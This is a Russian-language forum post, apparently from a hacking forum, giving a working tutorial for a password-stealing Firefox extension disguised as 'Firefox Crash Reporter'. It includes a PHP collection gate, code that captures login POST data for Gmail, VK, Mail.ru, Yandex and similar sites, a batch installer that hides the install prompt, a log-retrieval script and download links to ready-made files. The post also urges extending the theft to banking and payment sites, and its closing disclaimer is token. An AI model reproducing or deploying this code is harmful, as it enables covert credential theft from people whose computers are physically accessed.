0. INTRO Все началось вот с этой темы. Мне нужен был сниффер, чтобы украсть пароль от админки, имея физический доступ к компьютеру. Эту тему статьей не назовешь, в нем не будет никакого привата, но она, думаю, будет интересна для многих новичков, которым хочется узнать, на что способен казалось бы безобидное расширение. 1. Нужное 1. http://kaimi.ru/2012/06/simple-firefox-extension/ 2. Notepad++ 3. Denwer(необязательно, если цель - компьютер друга) или хостинг 4. Браузер Mozilla Firefox + расширение LiveHTTPHeaders 2. Подготовка Скачиваем по первой ссылке из нужных архив с расширением и распаковываем удобном для Вас месте. 1. Если это компьютер друга/подруги и т.д., можно сразу переходить к шагу "3. Действуем". 2. Если к цели можно получить физический доступ только один раз или целей много, установите Denwer, в папке Z:\home\test1.ru\www создаем файл test.php с содержимым(или сразу на хостинг): PHP: <?php $uri = base64_decode(urldecode($_REQUEST['uri'])); $info = base64_decode(urldecode($_REQUEST['info'])); $domain = parse_url($uri, PHP_URL_HOST); file_put_contents($domain.".txt",$info."\r\n",FILE_APPEND); ?> Это будет будущий гейт, для принятия паролей. 3. Действуем В папке с распакованным расширением находим install.rdf, меняем все содержимое на: Code: <?xml version="1.0"?> <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <Description about="urn:mozilla:install-manifest"> <em:id>[email protected]</em:id> <em:name>Firefox Crash Reporter</em:name> <em:version>2.1.0</em:version> <em:type>2</em:type> <em:creator>Oh noes LTD</em:creator> <em:description></em:description> <em:homepageURL>http://www.mozilla.org/</em:homepageURL> <em:targetApplication> <Description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minVersion>2.0</em:minVersion> <em:maxVersion>30.*</em:maxVersion> </Description> </em:targetApplication> </Description> </RDF> Сохраняем, открываем ./chrome/content/accelerator.js. Видим Code: var log_host = "kaimi.ru"; замените на Code: var log_host = "test1.ru"; Строчкой ниже добавляем: Code: var need_host="accounts.google.com/ServiceLoginAuth|odnoklassniki.ru/https|login.vk.com|auth.mail.ru|passport.yandex.ru"; Это адреса авторизационных сервисов известных сайтов. Это означает, что мы можем украсть пароли от Gmail, OD, VK, Mail.Ru, Yandex.Ru. Хотите добавить свой сайт? Для этого мы устанавливали Mozilla Firefox + LiveHTTPHeaders: 1. Заходим на нужный сайт, на страницу авторизации(пусть у нас это будет mail.ru) 2. Жмем Инструменты => Просмотр HTTP заголовков 3. Вводим логин и пароль на сайте, неважно правильный или нет, жмем "Войти" 4. Смотрим в окне LiveHTTPHeaders, видим: Видим, как передаются наши данные. Вот оттуда и взялся в нашей переменной need_host значение auth.mail.ru. По этому примеру можно сделать для банкинга, админки, Webmoney, Steam, электронного журнала оценок, букмекерских сайтов и т.д. и т.п. Ограничивается все Вашей фантазией. Дальше. Меняем условие: Code: if(http_channel.requestMethod == "POST") на Code: if(http_channel.requestMethod == "POST" && new RegExp('^http(s?)://(?:www\.)*' + need_host, 'i').test(uri)) Этот условие значит, что мы крадем данные только тогда, когда метод передачи POST и этот сайт в списке need_host. Находим: Code: req.send("uri=" + enc_uri + "&info=" + enc_data); После ставим: Code: var txt = enc_uri+"||"+enc_data+"\n"; var file = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile); file.append("crash_logs.txt"); //файл для сохранения var fs = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream); fs.init(file, 0x02 | 0x08 | 0x10, 0664, 0); // write, create, append fs.write(txt, txt.length); // записываем fs.close(); //закрываем Этот код отвечает за сохранение передаваемых логинов, паролей, а так же сайта в %APPDATA%\Mozilla\Firefox\Profiles\профайл.default\crash_logs.txt. Данные будут в формате urlencode(base64_encode(data)), как прочитать такой файл можно узнать в шаге "4. Тестируем". Сохраняем. Папка с расширением сейчас называется accelerator, переименуйте ее на [email protected]. Рядом с папкой [email protected] создаем файл install.bat с содержимым: Code: @echo off set "destDir=%APPDATA%\Mozilla\Firefox\Profiles" for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d" XCOPY [email protected] "%destDir%\%copyto%\extensions\[email protected]\" /H /E /G /Q /R /Y /D copy "%destDir%\%copyto%\prefs.js" "%destDir%\%copyto%\temp.txt" del "%destDir%\%copyto%\prefs.js" start "" "C:\Program Files\Mozilla Firefox\firefox.exe" PING -n 11 127.0.0.1>nul taskkill.exe /f /im "firefox.exe" copy "%destDir%\%copyto%\temp.txt" "%destDir%\%copyto%\prefs.js" del "%destDir%\%copyto%\temp.txt" Смысл этого батника: находим директорию с уникальным именем, копируем туда расширение, копируем файл настроек Firefox, запускаем Firefox, ждем 10 секунд и закрываем, копируем прежний файл настроек. Такие шаги имели смысл для Firefox 3.*, так как с помощью этого файла можно было установить расширение, включить его и не показывать уведомление о установке нового расширения. А в новых версиях Firefox расширение не включается, но уведомления о новой установке нет, что радует. Следовательно, Вам надо проверить, включено ли расширение Firefox Crash Reporter 2.1.0, нажав Инструменты => Дополнения в меню Mozilla Firefox. Если нет - включаем. Рядом с install.bat, для удобства создайте get_log.bat с содержимым: Code: @echo off SET newtime=%date%-%time:~0,2%.%time:~3,2%.%time:~6,2% set "destDir=%APPDATA%\Mozilla\Firefox\Profiles" for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d" copy "%destDir%\%copyto%\crash_logs.txt" "log_%newtime%.txt" Таким образом мы скопируем логи, которые достали и присвоим им уникальное имя - текущую дату и время. Все готово. Движок форума вставляет пробелы, поэтому у Вас обязательно будут синтаксические ошибки в коде, исходя из этого, ОБЯЗАТЕЛЬНО скачиваем готовые файлы и расширение(пароль antichat): https://www.sendspace.com/file/866ox2 http://rghost.ru/private/56780319/4fad86834b7ba66b8492a77a2b681105 4. Тестируем 1. Запускаем из скаченного архива install.bat. 2. Запускаем Firefox, заходим к примеру на mail.ru, вводим любой логин и пароль. 3. Запускаем get_log.bat В папке с распакованным архивом появится log_date_time.txt, вместо date и time, соответственно, дата и время. log_date_time.txt имеет такой вид: Code: aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ%3D%3D Жмем Ctrl+F, заменяем %3D на пустоту. Получится: Code: aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ Находим любой онлайн base64 decoder и декодируем. До || это адрес сайта, а после переданные POST-данные. Code: aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo => https://auth.mail.ru/cgi-bin/auth?from=splash || RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ => Domain=mail.ru&Login=test&Password=testtest&new_auth_form=1&saveauth=1 Если используете гейт, скрипт автоматически распределяет по сайтам: Результаты теста: Firefox 3.5.2 Firefox 29.0.1 Как я и говорил, в новых версиях Firefox не забудьте проверить, включен ли плагин. Batch file отработал хорошо на Windows XP и Win8, что можно и по скринам увидеть. 5. OUTRO В незаконных целях не используйте, я лишь привел возможности. Вы можете украсть пароль, а можете попасть в тюрьму. Всем удачи и благ!